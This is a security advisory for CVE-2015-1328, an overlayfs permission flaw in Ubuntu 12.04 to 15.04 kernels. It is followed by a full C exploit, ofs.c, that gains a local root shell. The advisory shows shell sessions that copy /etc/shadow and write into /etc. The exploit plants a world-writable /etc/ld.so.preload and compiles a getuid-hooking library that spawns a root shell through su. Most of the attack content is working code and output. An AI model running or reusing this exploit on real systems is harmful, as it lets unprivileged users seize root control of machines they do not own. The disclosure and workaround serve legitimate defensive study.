Ubuntu 12.04 / 14.04 / 14.10 / 15.04 overlayfs Local Root

Aerosol · June 18, 2015

The overlayfs filesystem does not correctly check file permissions when
creating new files in the upper filesystem directory. This can be exploited
by an unprivileged process in kernels with CONFIG_USER_NS=y and where
overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs
inside unprivileged mount namespaces. This is the default configuration of
Ubuntu 12.04, 14.04, 14.10, and 15.04 [1].

If you don't want to update your kernel and you don't use overlayfs, a viable
workaround is to just remove or blacklist overlayfs.ko / overlay.ko.

Details
================================

>From Documentation/filesystems/overlayfs.txt [2]:

"Objects that are not directories (files, symlinks, device-special
files etc.) are presented either from the upper or lower filesystem as
appropriate.  When a file in the lower filesystem is accessed in a way
the requires write-access, such as opening for write access, changing
some metadata etc., the file is first copied from the lower filesystem
to the upper filesystem (copy_up)."

The ovl_copy_up_* functions do not correctly check that the user has
permission to write files to the upperdir directory. The only permissions
that are checked is if the owner of the file that is being modified has
permission to write to the upperdir. Furthermore, when a file is copied from
the lowerdir the file metadata is carbon copied, instead of attributes such as
owner being changed to the user that triggered the copy_up_* procedures.

Example of creating a 1:1 copy of a root-owned file:

(Note that the workdir= option is not needed on older kernels)

user@...ntu-server-1504:~$ ./create-namespace
root@...ntu-server-1504:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
root@...ntu-server-1504:~# chmod 777 work/work/
root@...ntu-server-1504:~# cd o
root@...ntu-server-1504:~/o# mv shadow copy_of_shadow
(exit the namespace)
user@...ntu-server-1504:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
user@...ntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d      Inode: 939791      Links: 1
Device: 801h/2049d      Inode: 277668      Links: 1

Now we can place this file in /etc by switching "upper" to be the lowerdir
option, the permission checks pass since the file is owned by root and root
can write to /etc.

user@...ntu-server-1504:~$ ./create-namespace
root@...ntu-server-1504:~# mount -t overlay -o
lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
root@...ntu-server-1504:~# chmod 777 work/work/
root@...ntu-server-1504:~# cd o
root@...ntu-server-1504:~/o# chmod 777 copy_of_shadow
root@...ntu-server-1504:~/o# exit
user@...ntu-server-1504:~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow

The attached exploit gives a root shell by creating a world-writable
/etc/ld.so.preload file. The exploit has been tested on the most recent
kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04.

It is also possible to list directory contents for any directory on the system
regardless of permissions:

nobody@...ntu-server-1504:~$ ls -al /root
ls: cannot open directory /root: Permission denied
nobody@...ntu-server-1504:~$ mkdir o upper work
nobody@...ntu-server-1504:~$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
nobody@...ntu-server-1504:~$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ?    ?          ?            ? .bash_history
-????????? ? ?    ?          ?            ? .bashrc
d????????? ? ?    ?          ?            ? .cache
-????????? ? ?    ?          ?            ? .lesshst
d????????? ? ?    ?          ?            ? linux-3.19.0


Credit
================================
Philip Pettersson, Samsung SDS Security Center

References
================================
[1] https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549
[2] https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt
[3] http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html


--------------

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

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Ubuntu 12.04 / 14.04 / 14.10 / 15.04 overlayfs Local Root

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